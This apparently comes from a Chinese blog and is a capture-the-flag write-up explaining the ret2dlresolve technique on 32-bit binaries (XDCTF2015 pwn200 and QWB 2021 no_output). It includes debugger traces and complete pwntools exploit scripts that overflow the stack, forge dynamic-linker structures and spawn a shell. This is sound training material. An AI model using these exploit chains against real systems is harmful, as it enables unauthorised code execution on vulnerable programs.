2015-XDCTF-pwn200

源代码

#include <stdio.h>
#include <string.h>
#include <unistd.h>

void vuln() {
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);
}
int main() {
    char buf[100] = "Welcome to XDCTF2015~!\n";
    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    vuln();
    return 0;
}

32 位 NO-RELRO

以如下方式编译源代码。

> gcc -fno-stack-protector -m32 -z norelro -no-pie main.c -o main_no_relro_32
图 1

NO-RELRO 意味着符号重定位表可篡改。

重定位

在 Linux 中,程序使用 _dl_runtime_resolve(link_map_obj, reloc_offset) 函数来对动态链接的函数进行重定位。

图 2 符号重定位所用到的数据结构之间的关系 (Read-Only Memory)

下面将通过调试程序 main_no_relro_32,寻找 _dl_runtime_resolve() 函数的入口:

  1. read@plt 下断点
gdb-peda$ p read
$1 = {<text variable, no debug info>} 0x80490a0 <read@plt>
gdb-peda$ b *0x80490a0
Breakpoint 1 at 0x80490a0
  1. 跳转到 0x804b2b8, 即 read@got
[-------------------------------------code-------------------------------------]
=> 0x80490a0 <read@plt>:    endbr32 
   0x80490a4 <read@plt+4>:  jmp    DWORD PTR ds:0x804b2b8
   0x80490aa <read@plt+10>: nop    WORD PTR [eax+eax*1+0x0]
   0x80490b0 <strlen@plt>:  endbr32 
   0x80490b4 <strlen@plt+4>:    jmp    DWORD PTR ds:0x804b2bc
图 3 endbr32

图 4 read@got
  1. 第一次调用 read() 函数时 got 表并没有它的地址,而是令程序流跳转到 0x8049050,在这里执行 push 0x8jmp 0x8049030
gdb-peda$ x/8wx 0x804b2b8
0x804b2b8 <read@got.plt>:   0x08049050  0xf7e5a6a0  0xf7de6df0  0xf7ebdca0
0x804b2c8:  0x00000000  0x00000000  0x00000000  0x00000000
-------------------------------------code-------------------------------------]
=> 0x8049050:   endbr32 
   0x8049054:   push   0x8
   0x8049059:   jmp    0x8049030

0x8read.rel.plt 节中的偏移为 8 (Maybe?)。

blog@blog-virtual-machine:~/Desktop/PWN$ readelf -r main_no_relro_32 

Relocation section '.rel.dyn' at offset 0x368 contains 3 entries:
......

Relocation section '.rel.plt' at offset 0x380 contains 5 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804b2b4  00000107 R_386_JUMP_SLOT   00000000   setbuf@GLIBC_2.0
0804b2b8  00000207 R_386_JUMP_SLOT   00000000   read@GLIBC_2.0
0804b2bc  00000407 R_386_JUMP_SLOT   00000000   strlen@GLIBC_2.0
......
图 5 .rel.plt 节
  1. 0x8049030 :先将 0x804b2ac 处的数据入栈,然后跳转到 0x804b2b0 所存放的地址。
gdb-peda$ x/4wx 0x804b2ac
0x804b2ac:  0xf7ffd990  0xf7fe7b10  0xf7e40ef0  0x08049050
[-------------------------------------code-------------------------------------]
   0x804902c:   add    BYTE PTR [eax],al
   0x804902e:   add    BYTE PTR [eax],al
   0x8049030:   push   DWORD PTR ds:0x804b2ac
=> 0x8049036:   jmp    DWORD PTR ds:0x804b2b0
 | 0x804903c:   nop    DWORD PTR [eax+0x0]
 | 0x8049040:   endbr32
 | 0x8049044:   push   0x0
 | 0x8049049:   jmp    0x8049030
 |->   0xf7fe7b10:  endbr32 
       0xf7fe7b14:  push   eax
       0xf7fe7b15:  push   ecx
       0xf7fe7b16:  push   edx
                                                                  JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0xffffcf14 --> 0xf7ffd990 --> 0x0 
0004| 0xffffcf18 --> 0x8 
0008| 0xffffcf1c --> 0x8049237 (<vuln+65>:  add    esp,0x10)
0012| 0xffffcf20 --> 0x0 
0016| 0xffffcf24 --> 0xffffcf3c --> 0x1 
0020| 0xffffcf28 --> 0x100 
0024| 0xffffcf2c --> 0x8049206 (<vuln+16>:  add    ebx,0x20a2)
0028| 0xffffcf30 --> 0xffffcf64 --> 0xf7dd918c --> 0x14c1 
[------------------------------------------------------------------------------]

a. 0x804b2ac 处保存的数据 (0xf7ffd990) 是一个指向内部数据结构的指针,类型是 link_map_obj,在动态装载器内部使用,包含进行符号解析需要的当前 ELF 对象的信息。在它的 l_info 域中保存了 .dynamic 段中大多数条目的指针构成的一个数组。现在这个指针放在栈顶,可以看到下一个便是第一次访问 read@got 时放进栈中的 0x8 (即 read() 函数在 got 表中的偏移,也就是 rel_offset)
b. 0x804b2b0 处保存的是函数 dl_runtime_resolve(link_map_obj,rel_offset) 的地址

  1. 小结
    dl_runtime_resolve() 函数只有在第一次访问 plt 表的时候才会进入,后续如果想再通过 read() 函数进入 dl_runtime_resolve(),可以直接从 0x8049054 这个地址开始进 (详见 3. , 后面 exp 会用到这个地址)

FAKE ELF String Table

dl_runtime_resolve() 函数会根据 ELF String Table 中的字符串,去 libc 中找相应的函数。因此可以通过篡改相应位置的字符串来进行攻击 (比如将 "read" 改成 "system",那么调用 read() 函数时就会被 dl_runtime_resolve() 重定位到 system() 函数,变相执行 system())。但是不能直接在这张表上修改。

图 6 ELF String Table

dl_runtime_resolve() 是通过 .dynamic 节中的 DT_STRTAB 字段找到 ELF String Table 的。而且,由于是 NO_RELRO,我们可以直接修改 DT_STRTAB 字段。那就不妨在 .bss 段找一个地址,伪造一张 ELF String Table,然后修改 DT_STRTAB 字段使其指向伪造的 ELF String Table,以此达到攻击目的。
图 7 .dynamic 节

EXP

from pwn import *

#context.log_level="debug"
#context.terminal = ["tmux","splitw","-h"]
context.arch="i386"

p = process("./main_no_relro_32")
rop = ROP("./main_no_relro_32")
elf = ELF("./main_no_relro_32")

main_fun = 0x08049240
# .bss
fake_strtab = 0x0804B2D0
DT_STRTAB_at_dynamic = 0x0804B1F4

p.recvuntil(b'Welcome to XDCTF2015~!\n')

rop.raw(112*b'a')
rop.read(0,DT_STRTAB_at_dynamic+4,4) # modify .dynstr pointer in .dynamic section to a specific location

dynstr = elf.get_section_by_name(".dynstr").data()
dynstr = dynstr.replace(b'read',b'system')

rop.read(0,fake_strtab,len((dynstr))) # construct a fake dynstr section
rop.read(0,fake_strtab+110,8) # read /bin/sh\x00

rop.raw(0x8049054)
rop.raw(0xdeadbeef)
rop.raw(fake_strtab+110)

#print(rop.dump())
assert(len(rop.chain())<=256)
rop.raw(b'a'*(256-len(rop.chain())))
p.send(rop.chain())

p.send(p32(fake_strtab))
p.send(dynstr)
#gdb.attach(p)
p.send(b'/bin/sh\x00')

p.interactive()

32 位 Partial-RELRO

以如下方式编译源代码。

> gcc -fno-stack-protector -m32 -z relro -z lazy -no-pie main.c -o main_partial_relro_32
> checksec main_partial_relro_32
[*] '/home/blog/Desktop/PWN/ret2redlsolve/main_partial_relro_32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

首次调用动态库中函数的流程(部分)

从访问 plt 表到调用 dl_runtime_resolve() 函数的流程如下:

0x80490d0 <write@plt>:  endbr32
0x80490d4 <write@plt+4>:    jmp    DWORD PTR ds:0x804c01c   ; write@got
    |
    |   gdb-peda$ x/4wx 0x804c01c
    |   0x804c01c <write@got.plt>:  0x08049080  0x00000000  0x00000000  0x00000000
    |
0x8049080:  endbr32
0x8049084:  push   0x20         ; * write@plt 相对于 .rel.plt 节的偏移, 即 rel_offset
0x8049089:  jmp    0x8049030
    |
    |   ; .rel.plt
    |   LOAD:080483A0 ; ELF JMPREL Relocation Table
    |   LOAD:080483A0                 Elf32_Rel <804C00Ch, 107h> ; R_386_JMP_SLOT setbuf
    |   LOAD:080483A8                 Elf32_Rel <804C010h, 207h> ; R_386_JMP_SLOT read
    |   LOAD:080483B0                 Elf32_Rel <804C014h, 407h> ; R_386_JMP_SLOT strlen
    |   LOAD:080483B8                 Elf32_Rel <804C018h, 507h> ; R...  __libc_start_main
    |   LOAD:080483C0                 Elf32_Rel <804C01Ch, 607h> ; R_386_JMP_SLOT write
    |                               ;           <r_offset, r_info>
    |                               ;           r_offset -> xxx@got.plt
    |
0x8049030:  push   DWORD PTR ds:0x804c004   ; * 存放 link_map_obj
0x8049036:  jmp    DWORD PTR ds:0x804c008   ; 存放 dl_runtime_resolve 的地址
    |
    |       # Stack:
    |       link_map_obj    <-
    |       rel_offset
    |
; dl_runtime_resolve(link_map_obj,rel_offset)
0xf7fe7b10: endbr32 
...

结合这个流程,对照着 ctf-wiki 学习即可。注意各个 stage 所攻击的点位于该流程中的哪个部分。

例题

强网杯2021_初赛_[强网先锋]no_output

  • 前戏
> checksec test
[*] '/home/blog/Desktop/PWN/qwb2021_no_output/test'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

文件资源:

  • 逆向分析
    首先是打开 read_flag.txt,并将 fd 存在一个全局变量:
int open_txt() {
  ...
  result = open("real_flag.txt", 1);
  fd = result;
  ...
}

接下来是两个 read() 函数。

  ...
  open_txt();
  v3 = "tell me some thing";
  read(0, buf, 0x30u);
  v3 = "Tell me your name:\n";
  read(0, src, 0x20u);  
  sub_80493EC(src);  
  strcpy(dest, src);  // strcpy 被 '\x00' 截断,而且还会往 dest 后面补一个 '\x00'
  v3 = "now give you the flag\n";
  read(fd, src, 0x10u);
  // off_804C034 存放的是字符串 "hello_boy\x00"
  // check() 是字符串比较,两个字符串相同返回 0
  result = check(src, off_804C034); 
  if ( !result )
    result = sub_8049269();
  ...

图 8

可以看到:dest 后面紧跟着 fd,我们可以利用 strcpy 自动补 \x00 的性质来将 fd 覆盖为 0

.bss:0804C060 dest            db 20h dup(?)           ; DATA XREF: sub_8049424+72↑o
.bss:0804C080 fd              db    ? ;               ; DATA XREF: open_txt+6C↑o

fd 被覆盖为 0 后,read(fd, src, 0x10u);stdin中读入 src 字符串,于是我们便可以输入 "hello_boy\x00" 绕过检查进入 sub_8049269() 函数。

__sighandler_t sub_8049269()
{
  __sighandler_t result; // eax
  void (*v1)(int); // [esp+0h] [ebp-18h] BYREF
  int v2[2]; // [esp+4h] [ebp-14h] BYREF
  const char *v3; // [esp+Ch] [ebp-Ch]

  v3 = "give me the soul:";
  __isoc99_scanf("%d", v2);
  v3 = "give me the egg:";
  __isoc99_scanf("%d", &v1);
  result = v1;
  if ( v1 )
  {
    // 原本是 signal(8, (__sighandler_t)sub_8049236);
    // 将 8 切换成 Enum
    signal(SIGFPE, (__sighandler_t)sub_8049236);
    v2[1] = v2[0] / (int)v1;
    result = signal(8, 0);
  }
  return result;
}
ssize_t sub_8049236()
{
  char buf[68]; // [esp+0h] [ebp-48h] BYREF

  return read(0, buf, 0x100u);
}

此处 signal() 函数的作用在于:当发生除法异常时,执行 sub_8049236 函数(signal - C++ Reference),sub_8049236 函数中便是一个栈溢出了。由于 v1 不能为 0,我们令 v2 = -2147483648, v1 = -1,此时会发生除法溢出(int 类型的数据范围为:-2147483648 ~ 2147483647)。由于没有输出函数,用 ret2dlresolve 的方式来利用这个栈溢出漏洞。

  • EXP
from pwn import *

context.log_level = "debug"

elf = ELF('./test')
sh = process('./test')
rop = ROP('./test')

# 这里很奇怪,好像放别的字符串都不行...
sh.send('\x00')
raw_input(">")

#gdb.attach(sh)

sh.send('a'*0x20)
raw_input(">")


sh.send('hello_boy\x00')
raw_input(">")

sh.sendline('-2147483648')
raw_input(">")

sh.sendline('-1')
raw_input(">")

# pwntools
# https://github.com/Gallopsled/pwntools/blob/5db149adc2/pwnlib/rop/ret2dlresolve.py
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])

rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
# fit() 函数会自动填充,76 是溢出点,0x100 是 read() 函数的长度
sh.sendline(fit({76:raw_rop, 0x100:dlresolve.payload}))

sh.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 摘 要 本文跟随hello程序从源文件经由预处理,编译,汇编,链接成为可执行文件,再到在shell中加载hello...
    池印宇阅读 471评论 0 0
  • 参考:ctf-wiki高级ROP部分.ctf-wiki对elf文件格式的讲解https://bbs.pediy.c...
    fIappy阅读 550评论 0 0
  • _dll_runtime_resolve是重定位函数,该函数会在进程运行时动态修改函数地址来达到重定位的效果。文章...
    喝豆腐脑加糖阅读 548评论 0 1
  • 我是黑夜里大雨纷飞的人啊 1 “又到一年六月,有人笑有人哭,有人欢乐有人忧愁,有人惊喜有人失落,有的觉得收获满满有...
    陌忘宇阅读 8,786评论 28 54
  • 信任包括信任自己和信任他人 很多时候,很多事情,失败、遗憾、错过,源于不自信,不信任他人 觉得自己做不成,别人做不...
    吴氵晃阅读 6,317评论 4 8

友情链接更多精彩内容